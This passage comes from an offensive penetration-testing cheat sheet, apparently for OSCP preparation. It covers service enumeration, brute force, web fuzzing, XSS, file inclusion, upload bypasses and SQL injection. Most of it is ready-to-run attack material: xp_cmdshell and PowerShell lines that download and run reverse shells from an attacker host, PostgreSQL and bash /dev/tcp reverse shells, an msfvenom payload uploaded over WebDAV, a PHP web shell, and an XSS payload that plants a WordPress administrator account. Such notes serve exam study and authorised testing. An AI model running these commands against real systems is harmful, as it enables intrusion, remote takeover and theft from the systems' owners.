# Search with Filters
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>" "(objectclass=user)"
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>" "(objectclass=group)"
# Searching with authentication
ldapsearch -h <target_ip> -x -D '<domain>\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>"
Check Pre-Authentication for Users
kerbrute userenum -d <domain> --dc <dc_ip> <userlist>
Graphical Interface: jxplorer
1.4.15 1433: MSSQL
Nmap Scripting Scan
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <ip>
# Enumerate MSSQL database information and configurations
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=<username>,mssql.password=<password>,mssql.instance-name=<instance_name> -sV -p 1433 <target_ip>
Crackmapexec
# Check MSSQL service and execute command
crackmapexec mssql -d <domain> -u <username> -p <password> -x "whoami" <target_ip>
# Query databases and list them
crackmapexec mssql -d <domain> -u <username> -p <password> -x "SELECT name FROM master.dbo.sysdatabases;" <target_ip>
Logging In
# Connect to MSSQL using sqsh (Linux)
sqsh -S <target_ip> -U <username> -P <password>
# Connect to MSSQL using sqsh (Windows)
sqsh -S <target_ip> -U <domain>\\<username> -P <password> -D <database>
Exploitation
-- Enable advanced options and xp_cmdshell for command execution
EXEC SP_CONFIGURE 'show advanced options', 1;
RECONFIGURE;
GO
EXEC SP_CONFIGURE 'xp_cmdshell', 1;
RECONFIGURE;
GO
-- Test xp_cmdshell to execute system commands
EXEC xp_cmdshell 'whoami';
GO
-- Download and execute a reverse shell
EXEC xp_cmdshell 'powershell "Invoke-WebRequest -Uri http://<attacker_ip>:<port>/reverse.exe -OutFile c:\\Users\\Public\\reverse.exe"';
GO
EXEC xp_cmdshell 'c:\\Users\\Public\\reverse.exe';
GO
-- SQL Injection example to execute system commands
test'; EXEC master.dbo.xp_cmdshell 'powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString(''http://<attacker_ip>:<port>/powercat.ps1'');powercat -c <attacker_ip> -p <port> -e powershell"';--
Database Usage
-- List all tables in the current database
SELECT * FROM information_schema.tables;
-- View contents of a specific table
SELECT * FROM <table_name>;
-- Search for specific data in a table
SELECT * FROM <table_name> WHERE <column_name> LIKE '%<search_term>%';
-- Insert a new record into a table
INSERT INTO <table_name> (<column1>, <column2>) VALUES ('<value1>', '<value2>');
-- Update an existing record in a table
UPDATE <table_name> SET <column_name> = '<new_value>' WHERE <condition>;
-- Delete a record from a table
DELETE FROM <table_name> WHERE <condition>;
1.4.16 2049: NFS
Nmap Scripting Scan
nmap -p 2049 -sV --script "nfs-showmount,nfs-ls,nfs-statfs,nfs-secure,nfs-client,disk,nfs-*" <target_ip>
Enumeration
# Show all NFS shares on the target
showmount -e <target_ip>
# Show mount information for the target
showmount <target_ip>
Mounting
# Create a local directory to mount the NFS share
mkdir <mount_point>
# Mount the NFS share
sudo mount -t nfs -o vers=<version>,nolock <target_ip>:<share> <mount_point>
1.4.17 3003: CGMS (possible)
Enumeration
# Connect to the service
nc -nv <target_ip> 3003
# Get a list of available commands
help
# Check the version of the CGMS service
version
Exploitation (CVE-2020-13151) This exploit targets Aerospike's REST API to gain remote code execution. Ensure that you have authorization before using this.
# Download the exploit script
wget https://raw.githubusercontent.com/b4ny4n/CVE-2020-13151/master/cve2020-13151.py
# Run the exploit with appropriate parameters
python3 cve2020-13151.py --ahost=<target_ip> --aport=3000 --pythonshell --lhost=<local_ip> --lport=443
# Start a Netcat listener on your local machine
nc -nlvp 443
Possible Available Commands for Information Gathering
bins
build
build_os
build_time
cluster-name
config-get
config-set
digests
dump-cluster
dump-fabric
dump-hb
dump-hlc
dump-migrates
dump-msgs
dump-rw
dump-si
dump-skew
dump-wb-summary
eviction-reset
feature-key
get-config
get-sl
health-outliers
health-stats
histogram
jem-stats
jobs
latencies
log
log-set
log-message
logs
mcast
mesh
name
namespace
namespaces
node
physical-devices
quiesce
quiesce-undo
racks
recluster
revive
roster
roster-set
service
services
services-alumni
services-alumni-reset
set-config
set-log
sets
show-devices
sindex
sindex-create
sindex-delete
sindex-histogram
statistics
status
tip
tip-clear
truncate
truncate-namespace
truncate-namespace-undo
truncate-undo
version
1.4.18 3306: MYSQL
Nmap Scripting Scan
nmap -sV -p 3306 --script "mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122" <target_ip>
Crackmapexec
crackmapexec mysql -d <database> -u <username> -p <password> -x "SHOW DATABASES;" <target_ip>
Brute Force
# Brute force MySQL login using Hydra
hydra -l <username> -P <password_list> -s 3306 -vV <IP> mysql
Loggin In
mysql -h <target_ip> -u <username> -p <database>
Database Usage
SHOW DATABASES;
USE <database_name>;
SHOW TABLES;
DESCRIBE <table_name>;
SELECT * FROM <table_name>;
Exploitation Examples
# Database User Enumeration
SELECT user FROM mysql.user;
# Privilege Escalation
GRANT ALL PRIVILEGES ON *.* TO '<username>'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
1.4.19 3389: RDP
Nmap Scripting Scan
nmap --script "rdp-enum-encryption,rdp-vuln-ms12-020,rdp-ntlm-info,rdp-banner" -p 3389 <IP>
Brute Force
hydra -L <user_list> -P <password_list> -s 3389 rdp://<IP>
Password Spray
# Using Crowbar
crowbar -b rdp -s <target_ip>/32 -U users.txt -C rockyou.txt
# Using CrackMapExec
crackmapexec rdp <target_ip> -u users.txt -p rockyou.txt
Logging In
# Connect using xfreerdp with various options
xfreerdp /cert-ignore /bpp:8 /compression /themes /wallpaper /auto-reconnect /h:1000 /w:1600 /v:<IP> /u:<username> /p:<password>
# Connect with a drive mapping and increased timeout
xfreerdp /u:<username> /v:<IP> /cert:ignore /p:<password> /timeout:20000 /drive:<drive_name>,<local_path>
# Connect with clipboard support and set resolution
xfreerdp /compression +auto-reconnect /u:$USER/p:$PASSWORD /v:<ip> +clipboard /size:1920x1080 /drive:desktop,/home/$YOUR_USERNAME/Desktop
# Connect using rdesktop with credentials
rdesktop -u $USER -p $PASSWORD -g 1920x1080 <ip>
# Connect using rdesktop without credentials
rdesktop <ip>
1.4.20 5432, 5433: PostgreSQL
Nmap Scripting Scan
nmap -sV -p 5432,5433 --script "postgresql-info,postgresql-user-enum,postgresql-ssl" <ip>
Brute Force
hydra -L users.txt -P passwords.txt -s 5432 <ip> postgresql
Password Spraying
crackmapexec postgres -d <DB_NAME> -u <USER> -p <PASSWORD> -t <ip>
Logging In
# -W: Prompt for password
psql -h <ip> -p 5432 -U <USER> -W
RCE
# RCE is possible for versions: PostgreSQL DB 11.3 - 11.9
# Run the exploit script to gain remote code execution
python3 50847.py -i <ip> -p 5437 -c "busybox nc $ATTACKER_IP 80 -e sh"
Code Execution
#POC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse Shell
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/$KaliIP/8080 0>&1';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Database Usage
# List all databases
\l
# Switch to a specific database
\c <DB_NAME>
# List all tables in the current database
\dt
# View the schema of a specific table
\d <TABLE_NAME>
# Query the contents of a specific table
SELECT * FROM <TABLE_NAME>;
# Get detailed information about a table, including columns and their types
\d+ <TABLE_NAME>
# Execute a query to find specific data, such as users with a particular attribute
SELECT * FROM users WHERE attribute = 'value';
# Example command to list all tables and their columns
SELECT table_name, column_name, data_type
FROM information_schema.columns
WHERE table_schema = 'public';
# Execute an SQL command to create a new table
CREATE TABLE test_table (
id SERIAL PRIMARY KEY,
name VARCHAR(100),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
# Insert data into a table
INSERT INTO test_table (name) VALUES ('example_data');
# Update data in a table
UPDATE test_table SET name = 'updated_data' WHERE id = 1;
# Delete data from a table
DELETE FROM test_table WHERE id = 1;
1.4.21 5900: VNC (Virtual Network Computing)
Nmap Scripting Scan
nmap -p 5900 --script vnc-info,vnc-auth-bypass <ip>
Connecting
# Use vncviewer or tigervnc to connect to a VNC server
vncviewer <ip>:5900
# More detailed connection with authentication
vncviewer -passwd /path/to/passwordfile <ip>:5900
Brute Force
hydra -L <user_list> -P <password_list> vnc://<ip>
Common Default Credentials
No Password
vnc
1234
Usage Once Connected
1. Explore the filesystem
2. Run commands
3. Capture screenshots with scrot
4. Manipulate files
1.4.22 5985, 5986: WinRM
Nmap Scripting Scan
nmap -p 5985,5986 --script winrm-info <ip>
Crackmapexec
crackmapexec winrm <IP> -u <USER> -p <PASSWORD>
Loggin In
# Using PowerShell to connect to WinRM
Enter-PSSession -ComputerName <ip> -Credential (Get-Credential)
Exploitation
# using Kali to connect to WinRM
evil-winrm -i <ip> -u <USER> -p <PASSWORD>
1.4.23 6379: Redis
Nmap Scripting Scan
nmap -p 6379 --script "redis-info,redis-rce" <ip>
Brute Force
redis-cli -h <ip> -p 6379 -a <password_to_try>
Exploit
# Search for known Redis vulnerabilities and exploitation techniques
searchsploit redis
# Run a Redis rogue server to capture data or execute commands
python3 redis-rogue-server.py -p 6379
# Run Redis RCE exploit using a custom script (replace 'payload' with the desired payload)
python3 redis-rce-exploit.py -h <ip> -p 6379 -c "payload"
Connect and Interact
# Connect to Redis server
redis-cli -h <ip> -p 6379
# After connecting, list databases and their keys
info
keys *
select <db_number> # select database number (0 by default)
# Example of running commands
set mykey myvalue
get mykey
config get * # View all configuration options
shutdown # Shutdown the Redis server
Redis Pentesting Reference: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
Redis Rogue Server GitHub: https://github.com/n0b0dyCN/redis-rogue-server
Redis RCE: https://github.com/jas502n/Redis-RCE?tab=readme-ov-file
1.4.24 Unkown Port
Enumeration
# Connect to the unknown port to identify the service
nc -nv <IP> <PORT>
Interaction
# Always list available commands or options to gather more information about the service
help
Usage Examples
# Attempt to login with known or guessed credentials
# You may need to replace <USERNAME> and <PASSWORD> with appropriate values
echo -e "<USERNAME>\n<PASSWORD>" | nc -nv <IP> <PORT>
# If the service provides command options or help output, use these to guide further actions
# For example, if the service has commands like 'list', 'status', or 'config', use those
echo "list" | nc -nv <IP> <PORT>
Service Specific Actions
# After identifying the service, refer to its documentation or default command set
# For example, if the service is a management tool, commands might include listing users or querying configurations
# Example commands might include:
# - Listing users or available configurations
# - Executing administrative commands if applicable
# - Gathering information about the service status or configuration
# Replace with appropriate commands based on the identified service and help output
2. Vulnerability Scanning
2.1 Nessus
Note: The use of Nessus is forbidden during the OSCP exam. This tool should be used only in your personal lab environment for practice purposes.
Nessus is a powerful vulnerability scanning tool that can identify vulnerabilities, misconfigurations, and compliance issues. Here's how you can install and set it up:
- Download Nessus
Go to the Nessus website https://www.tenable.com/downloads/nessus?loginAttempted=true and select the platform.
Download the installer to your local machine.
- Verify the Download
# It's important to verify the integrity of the download with `sha256sum`.
cd ~/Downloads
echo "[sha256_sum_found_in_website] Nessus-10.5.0-debian10_amd64.deb" > sha256sum_nessus
sha256sum -c sha256sum_nessus
# Expected Output: OK
- Install Nessus
sudo apt install ./Nessus-10.5.0-debian10_amd64.deb
- Start Nessus
sudo systemctl start nessusd.service
# Then, visit the Nessus GUI at https://127.0.0.1:8834 to configure the scanner.
2.2 Nmap NSE (Nmap Scripting Engine)
Nmap's NSE is a versatile tool that allows you to extend Nmap’s capabilities with custom scripts. By utilizing these tools effectively, you can identify vulnerabilities in your environment or during penetration testing engagements. However, remember to always follow ethical guidelines and ensure that you have proper authorization before scanning any systems.
- Basic Usage
# Run specific script
nmap --script [scriptName] [IP]
# Get help on what a script does
nmap --script-help [scriptName]
- Script Management
# Scripts are located in /usr/share/nmap/scripts; we can add new scripts by copying them into this directory
sudo cp /path/to/script.nse /usr/share/nmap/scripts/
# Update the script database
sudo nmap --script-updatedb
# Usage example
sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" 192.168.145.23
3. Web Applications
3.1 Enumeration
3.1.1 FingerPrinting
Web Technology Detection
# Detect technologies used by the target website
whatweb -a 3 [TARGET_IP]
# Scan for potential vulnerabilities and server misconfigurations
nikto -ask=no -h http://[TARGET_IP] 2>&1
whatweb -a 3 $IP
nikto -ask=no -h http://$IP 2>&1
# When find an HTTP website always try to do a post on the get requests you find to see what happens
HTTP Methods Testing
# When discovering an HTTP website, test various HTTP methods to identify potential vulnerabilities. Use the following command to enumerate allowed methods:
curl -X OPTIONS http://[TARGET_IP] -i
# Then, try POST requests or other methods found to see how the server responds:
curl -X POST http://[TARGET_IP]/[endpoint] -d "test=data"
Advanced Fingerprinting Tools
# Use Wappalyzer to identify technologies and frameworks
wappalyzer --url http://[TARGET_IP]
# Use BuiltWith to gather detailed technology profile
builtwith [TARGET_IP]
# Scan for additional information using HTTP headers
curl -I http://[TARGET_IP]
Useful Wordlists
- Directory discovery:
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- File discovery:
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
- SecLists directory:
/usr/share/seclists/Discovery/Web-Content/common.txt
- SecLists file:
/usr/share/seclists/Discovery/Web-Content/big.txt
3.1.2 Directory Discovery
3.1.2.1 FFUF
# Basic directory fuzzing
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ
# Filter to show only 200 or 3xx responses
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -mc 200,300-399
# Output results to a file
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -o results.txt
# Recursive directory fuzzing
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -recursion
# Set number of threads
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -t 50
# Use proxy
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -x http://127.0.0.1:8080
# Use a delay between requests
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -p 0.1-0.5
# Set request timeout
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -timeout 10
# Match response size
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -fs 4242
# Example usage
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$IP/FUZZ
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://$IP/FUZZ
3.1.2.2 DIRB
# Basic directory scanning
dirb http://target /path/to/wordlist.txt
# Save output to a file
dirb http://target /path/to/wordlist.txt -o results.txt
# Use custom user-agent
dirb http://target /path/to/wordlist.txt -a "Mozilla/5.0"
# Ignore non-existent pages
dirb http://target /path/to/wordlist.txt -N
# Scan SSL (HTTPS)
dirb https://target /path/to/wordlist.txt
# Recursively scan directories
dirb http://target /path/to/wordlist.txt -r
# Exclude specific status codes
dirb http://target /path/to/wordlist.txt -n -X .php,.html,.txt
# Example usage
dirb http://target.com
3.1.2.3 GOBUSTER
# Basic directory scanning
gobuster dir -u http://target -w /path/to/wordlist.txt
# Filter to show only 200 responses
gobuster dir -u http://target -w /path/to/wordlist.txt -s 200
# Specify extensions
gobuster dir -u http://target -w /path/to/wordlist.txt -x php,html,txt
# Save output to a file
gobuster dir -u http://target -w /path/to/wordlist.txt -o results.txt
# Set number of threads
gobuster dir -u http://target -w /path/to/wordlist.txt -t 50
# Use proxy
gobuster dir -u http://target -w /path/to/wordlist.txt -p http://127.0.0.1:8080
# Example usage
gobuster dir -u http://10.11.1.71:80/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e txt,php,html,htm
gobuster dir -u http://192.168.196.199 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x pdf
3.1.2.4 FEROXBUSTER
# Basic directory fuzzing
feroxbuster -u http://target -w /path/to/wordlist.txt -x php,html,txt
# Set number of threads, verbose mode, ignore certificate errors
feroxbuster -u http://$IP -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e
# Filter specific status codes
feroxbuster -u http://$IP -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -C 404 #ignore denied
feroxbuster -u http://$IP -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -C 404,302 #handle redirects
3.1.2.5 DIRSEARCH
# Basic directory scanning
dirsearch -u http://target -w /path/to/wordlist.txt
# Filter to show only 200 or 3xx responses
dirsearch -u http://target -w /path/to/wordlist.txt -i 200,300-399
# Specify extensions
dirsearch -u http://target -w /path/to/wordlist.txt -e php,html,txt
# Save output to a file
dirsearch -u http://target -w /path/to/wordlist.txt -r -o results.txt
# Set number of threads
dirsearch -u http://target -w /path/to/wordlist.txt -t 50
# Use proxy
dirsearch -u http://target -w /path/to/wordlist.txt -x http://127.0.0.1:8080
# Ignore SSL certificate warnings
dirsearch -u https://target -w /path/to/wordlist.txt -k
# Exclude specific status codes
dirsearch -u http://target -w /path/to/wordlist.txt --exclude-status 404,403
# Example usage
dirsearch -u http://$IP/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
dirsearch -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 300 --recursive --exclude-status=400,404,405,408
3.1.3 File Discovery
3.1.3.1 FFUF
# Basic file fuzzing
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ
# Filter to show only 200 or 3xx responses
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -mc 200,300-399
# Specify extensions
ffuf -w /path/to/wordlist.txt:FUZZ -u http://target/FUZZ.html,http://target/FUZZ.php -mc 200,300-399
# Output results to a file
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -o results.txt
# Set number of threads
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -t 50
# Use proxy
ffuf -w /path/to/wordlist.txt -u http://target/FUZZ -x http://127.0.0.1:8080
3.1.3.2 DIRB
# Basic file scanning with default extensions
dirb http://target /path/to/wordlist.txt -X .php,.html,.txt
# Save output to a file
dirb http://target /path/to/wordlist.txt -X .php,.html,.txt -o results.txt
# Use custom user-agent
dirb http://target /path/to/wordlist.txt -X .php,.html,.txt -a "Mozilla/5.0"
# Ignore non-existent pages
dirb http://target /path/to/wordlist.txt -X .php,.html,.txt -N
# Scan SSL (HTTPS)
dirb https://target /path/to/wordlist.txt -X .php,.html,.txt
3.1.3.3 GOBUSTER
# Basic file scanning
gobuster dir -u http://target -w /path/to/wordlist.txt
# Filter to show only 200 responses
gobuster dir -u http://target -w /path/to/wordlist.txt -s 200
# Specify extensions
gobuster dir -u http://target -w /path/to/wordlist.txt -x php,html,txt
# Save output to a file
gobuster dir -u http://target -w /path/to/wordlist.txt -o results.txt
# Set number of threads
gobuster dir -u http://target -w /path/to/wordlist.txt -t 50
# Use proxy
gobuster dir -u http://target -w /path/to/wordlist.txt -p http://127.0.0.1:8080
3.1.3.4 FEROXBUSTER
# Basic file scanning
feroxbuster -u http://target -w /path/to/wordlist.txt
# Filter to show only 200 responses
feroxbuster -u http://target -w /path/to/wordlist.txt -s 200
# Specify extensions
feroxbuster -u http://target -w /path/to/wordlist.txt -x php,html,txt
# Save output to a file
feroxbuster -u http://target -w /path/to/wordlist.txt -o results.txt
# Set number of threads
feroxbuster -u http://target -w /path/to/wordlist.txt -t 50
# Use proxy
feroxbuster -u http://target -w /path/to/wordlist.txt -p http://127.0.0.1:8080
# Exclude specific status codes
feroxbuster -u http://target -w /path/to/wordlist.txt -e php,html,txt -C 404,403
# Use custom user-agent
feroxbuster -u http://target -w /path/to/wordlist.txt -a "Mozilla/5.0"
3.1.3.5 DIRSEARCH
# Basic file scanning
dirsearch -u http://target -w /path/to/wordlist.txt
# Filter to show only 200 or 3xx responses
dirsearch -u http://target -w /path/to/wordlist.txt -i 200,300-399
# Specify extensions
dirsearch -u http://target -w /path/to/wordlist.txt -e php,html,txt
# Save output to a file
dirsearch -u http://target -w /path/to/wordlist.txt -r -o results.txt
# Set number of threads
dirsearch -u http://target -w /path/to/wordlist.txt -t 50
# Use proxy
dirsearch -u http://target -w /path/to/wordlist.txt -x http://127.0.0.1:8080
3.1.4 Git Exposed
In the case we found a git directory exposed in the web server. Git Dumper (https://github.com/arthaud/git-dumper) is a tool used
to dump the contents of exposed .git
directories. These directories may contain sensitive
information, including source code, configuration files, and credentials. The tool allows you to
download and explore these contents to find vulnerabilities or sensitive data.
# Dump the contents of an exposed .git directory
git-dumper http://[IP/Domain]/.git website_git
# Search for common secrets in the dumped files
grep -r 'password' .
grep -r 'apikey' .
# View a specific file that may contain credentials or sensitive data
cat website_git/config/database.php
3.1.5 CMS
- WP Scan
# Basic WordPress scan
wpscan --url http://$IP/wp/
- WP Brute Forcing
# Brute forcing WordPress login
wpscan --url http://$IP/wp/wp-login.php -U Admin --passwords /usr/share/wordlists/rockyou.txt --password-attack wp-login
- Malicious Plugins
# Using a malicious WordPress plugin
https://github.com/wetw0rk/malicious-wordpress-plugin
# Usage
python3 wordpwn.py [LHOST] [LPORT] [HANDLER]
# Example
python3 wordpwn.py 192.168.119.140 443 Y
- Drupal Scan
# Scan Drupal CMS
droopescan scan drupal -u [TARGET_URL]
- .git Directory
# Download the .git directory if exposed
sudo wget -r http://[TARGET_IP]/.git/
# Move into the .git directory locally
cd [TARGET_IP]
# Show Git commits and reveal sensitive information
sudo git show
- simple-file-list Exploitation
# Location and version info
[+] Simple File List
| Location: http://[TARGET_IP]/wp-content/plugins/simple-file-list/
| Last Updated: [LAST_UPDATE]
| [!] The version is out of date; the latest version is [LATEST_VERSION]
# Exploit for Simple File List < [VULNERABLE_VERSION] - Unauthenticated Arbitrary File Upload
https://www.exploit-db.com/exploits/48979
3.1.6 WebDav
Reference: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav
Nmap Scan Results
80/tcp open http Microsoft IIS httpd 10.0
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
Connecting to a WebDAV Server
# Use cadaver
cadaver [IP]
Exploitation with Credentials
- Generate a Reverse Shell Payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=80 -f aspx -o shell.aspx
- Upload Payload via WebDAV
curl -T 'shell.aspx' 'http://$VictimIP/' -u <username>:<password>
- Start the listener
nc -nvlp 80
- Trigger the Payload: access the uploaded shell
http://$VictimIP/shell.aspx
3.1.7 API
# Basic API exploration
curl http://$IP/api/
# Example output
[{"string":"/api/","id":13},{"string":"/article/","id":14},{"string":"/article/?","id":15},{"string":"/user/","id":16},{"string":"/user/?","id":17}]
# Explore specific endpoints
curl http://$IP/api/user/
http://192.168.214.150:8080/search
{"query":"*","result":""}
curl -X GET "http://192.168.214.150:8080/search?query=*"
{"query":"*","result":""}
curl -X GET "http://192.168.214.150:8080/search?query=lol"
{"query":"lol","result":""}
3.1.8 Exploiting CVEs
CVE-2014-6287 https://www.exploit-db.com/exploits/49584 #HFS (HTTP File Server) 2.3.x - Remote Command Execution
CVE-2015-6518 https://www.exploit-db.com/exploits/24044 phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
CVE-XXXX-XXXX https://www.exploit-db.com/exploits/25971 Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
CVE-2009-4623 https://www.exploit-db.com/exploits/9623 Advanced comment system1.0 Remote File Inclusion Vulnerability
https://github.com/hupe1980/CVE-2009-4623/blob/main/exploit.py
CVE-2018-18619 https://www.exploit-db.com/exploits/45853 Advanced Comment System 1.0 - SQL Injection
3.2 XSS
Common characters to find it in input fields: < > ' " { } ;
.
Gather WordPress nonce
var request = new XMLHttpRequest();
var targetURL = "/wp-admin/user-new.php";
var regex = /name="([^"]*?)"/g;
request.open("GET", targetURL, false);
request.send();
var match = regex.exec(request.responseText);
var nonce = match[1];
Create a new WordPress admin account
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=newadmin&email=newadmin@example.com&pass1=newpassword&pass2=newpassword&role=administrator";
var request = new XMLHttpRequest();
request.open("POST", targetURL, true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send(params);
Same function as above compressed in JSCompress
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=newadmin&email=newadmin@example.com&pass1=newpassword&pass2=newpassword&role=administrator";
var request = new XMLHttpRequest();
request.open("POST", targetURL, true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send(params);
Encoding JavaScript payloads function
function toJavaScriptEncoding(str) {
var result = '';
for (var i = 0; i < str.length; i++) {
result += str.charCodeAt(i);
if (i !== str.length - 1) {
result += ",";
}
}
return result;
}
let encodedPayload = toJavaScriptEncoding('insert_minified_javascript');
console.log(encodedPayload);
Code to make the curl
requests and execute the payload
The function eval
is responsible for interpreting the string as code and execute it.
curl -i http://example.com --user-agent "<script>eval(String.fromCharCode(<resultFromRunningAboveScritpToEncode>))</script>" --proxy 127.0.0.1:8080
# The above encoded part, once decoded, matches the functionality of the 'Gather WordPress nonce' section.
3.3 File Inclusion Vulnerabilities
3.3.1 WordPress Plugin for Reverse Shell
Malicious WordPress Plugin Generators:
Reverse Shell Options:
PHP Reverse Shell:
<?php system($_GET['cmd']); ?>
Reverse Shell via Bash:
bash -c "sh -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1"
- URL Encoding Tool: URL Encoder
Non-Meterpreter Payload for Netcat:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT>
3.3.2 PHP Wrappers
-
php://filter
Example:curl "http://<TARGET>/index.php?page=php://filter/convert.base64-encode/resource=<FILE>"
Decode base64-encoded output:
echo "<BASE64_ENCODED_OUTPUT>" | base64 -d
-
php://data
Example:curl "http://<TARGET>/index.php?page=data://text/plain,<PHP_PAYLOAD>"
Encode PHP payload in base64:
echo -n '<?php echo system($_GET["cmd"]); ?>' | base64
3.3.3 Remote File Inclusion
- Start a Simple HTTP Server:
python3 -m http.server 80
- Perform Remote File Inclusion:
curl "http://<TARGET>/index.php?page=http://<ATTACKER_IP>/simple-backdoor.php&cmd=ls"
3.3.4 OS Command Injection
- Detect Windows Commands Execution:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
- Download and Execute PowerCat Reverse Shell:
IEX (New-Object System.Net.Webclient).DownloadString("http://<ATTACKER_IP>/powercat.ps1");powercat -c <ATTACKER_IP> -p <PORT> -e powershell
- Executing Command Injection:
curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F<ATTACKER_IP>%2Fpowercat.ps1%22)%3Bpowercat%20-c%20<ATTACKER_IP>%20-p%20<PORT>%20-e%20powershell' http://<TARGET>:<PORT>/archive
3.4 File Upload Vulnerabilities
Handling File Extensions
# If direct upload of .php files is restricted or filtered, try alternative extensions that might bypass filters:
.pHP, .phps, .php7, .php4, .php5, .php3, .xxx
# Similarly, if .aspx is restricted, attempt other variations:
.aspx, .asp, .ashx, .asmx
Using .htaccess
for Bypassing Upload Restrictions:
If the application allows .htaccess
file uploads, you can exploit it to change file
handling settings: AddType application/x-httpd-php .dork
.
Then, upload a file with the .dork
extension, which might be interpreted as PHP and could
contain a reverse shell or web shell.
Bypassing File Upload Restrictions:
- Double Extension:
Upload files with double extensions like `shell.php.jpg` or `shell.php.jpeg` to bypass simple filters.
- Null Byte Injection:
Try using null byte injection to bypass filters, e.g., `shell.php%00.jpg`.
- MIME Type Spoofing:
# Use tools or manual methods to alter the MIME type of the file being uploaded
curl -F "file=@shell.php;type=image/jpeg" http://[TARGET_IP]/upload
Testing File Execution by Checking for Direct Execution
Attempt to access uploaded files via URL, e.g., http://[TARGET_IP]/uploads/shell.php
.
Ensure the uploaded file is executed in a web-accessible directory. Check for execution context and
potential restrictions.
Automated Tools for File Upload Testing
- BurpSuite
- OWASP ZAP
3.5 SQL Injection Attacks
3.5.1 Common Commands
MySQL Commands:
mysql -u <username> -p'<password>' -h <host> -P <port>
-- Check MySQL version
SELECT version();
-- Get system user
SELECT system_user();
-- List databases
SHOW DATABASES;
-- List users and their passwords (authentication_string)
SELECT user, authentication_string FROM mysql.user WHERE user = '<username>';
# Test SQLi in every input field
';#---
3.5.2 Impacket Usage for Windows-Based SQL Databases
impacket-mssqlclient <username>:<password>@<host> -windows-auth
# Inspect the current version of the SQL Server
SELECT @@version;
# List databases
SELECT name FROM sys.databases;
# List tables in a specific schema
SELECT * FROM <schema>.information_schema.tables;
# List users in a specific schema
SELECT * FROM <schema>.dbo.users;
3.5.3 Error-Based Payloads
Simple authentication bypass
<input>' OR 1=1 -- //
Get the version
<input>' OR 1=1 in (SELECT @@version) -- //
Dump all or specific data
- Dump all data:
<input>' OR 1=1 in (SELECT * FROM <table>) -- //
- Dump specific data:
<input>' OR 1=1 in (SELECT <column> FROM <table> WHERE <condition>) -- //
3.5.4 UNION-Based Payloads
Check column count
<input>' ORDER BY <number>-- //
Retrieve information from other databases
